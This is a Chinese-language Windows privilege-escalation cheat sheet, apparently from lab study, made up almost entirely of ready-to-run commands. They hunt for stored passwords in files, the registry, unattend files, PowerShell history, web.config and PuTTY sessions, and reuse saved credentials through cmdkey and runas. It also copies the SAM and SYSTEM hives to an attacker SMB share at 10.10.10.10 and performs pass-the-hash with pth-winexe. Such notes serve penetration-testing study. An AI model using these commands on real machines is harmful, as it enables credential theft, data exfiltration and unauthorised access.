在文件中查找

  1. findstr /si password *.xml *.ini *.txt *.config 2>nul
  2. cd C:\ & findstr /SI /M password *.xml *.ini *.txt
  3. findstr /spin password *.*
  4. Check .config or other interesting file types for those strings
  5. dir /s *pass* == *cred* == *vnc* == *.config*
  6. dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
  7. where /R C:\ user.txt
  8. where /R C:\ *.ini

Windows 无人值守安装

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml
  • dir /s sysprep.inf sysprep.xml unattended.xml unattend.xml *unattend.txt 2>nul
  1. <Credentials>
  2. <Username>Administrator</Username>
  3. <Domain>thm.local</Domain>
  4. <Password>MyPassword123</Password>
  5. </Credentials>

PowerShell 历史

  1. C:\Users\14894>type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
  2. PS C:\Users\14894>type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

保存的 Windows 凭据

  1. C:\Users\14894>cmdkey /list # 列出当前保存的凭证
  2. C:\Users\14894>runas /savecred /user:admin cmd.exe # 以 admin 用户连接 cmd.exe

IIS 配置

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

软件中搜索 :PuTTY

PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接参数,而是可以存储会话,IP、用户和其他配置可以存储在其中以供以后使用。虽然 PuTTY 不允许用户存储他们的 SSH 密码,但它会存储包括明文身份验证凭据的代理配置。 要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:
  1. C:\Users\14894>reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注册表

搜索注册表中包含 password的项

  1. reg query HKLM /f password /t REG_SZ /s

查看指定密钥:

  1. reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

保存的凭证

我们可以使用下面命令来查看目标保存了什么凭证

  1. C:\Users\user>cmdkey /list
  2. Currently stored credentials:
  3. Target: WindowsLive:target=virtualapp/didlogical
  4. Type: Generic
  5. User: 02nfpgrklkitqatu
  6. Local machine persistence
  7. Target: Domain:interactive=WIN-QBA94KB3IOF\admin
  8. Type: Domain Password
  9. User: WIN-QBA94KB3IOF\admin

如果存在一个凭证,我们可以使用此来运行一个程序

  1. C:\Users\user>runas /savecred /user:admin C:\Windows\System32\cmd.exe
  2. Attempting to start C:\Windows\System32\cmd.exe as user "WIN-QBA94KB3IOF\admin" ...

hash 转储 SAM

  1. copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
  2. copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\

PTH

  1. pth-winexe -U 'admin%hash' //10.10.72.117 cmd.exe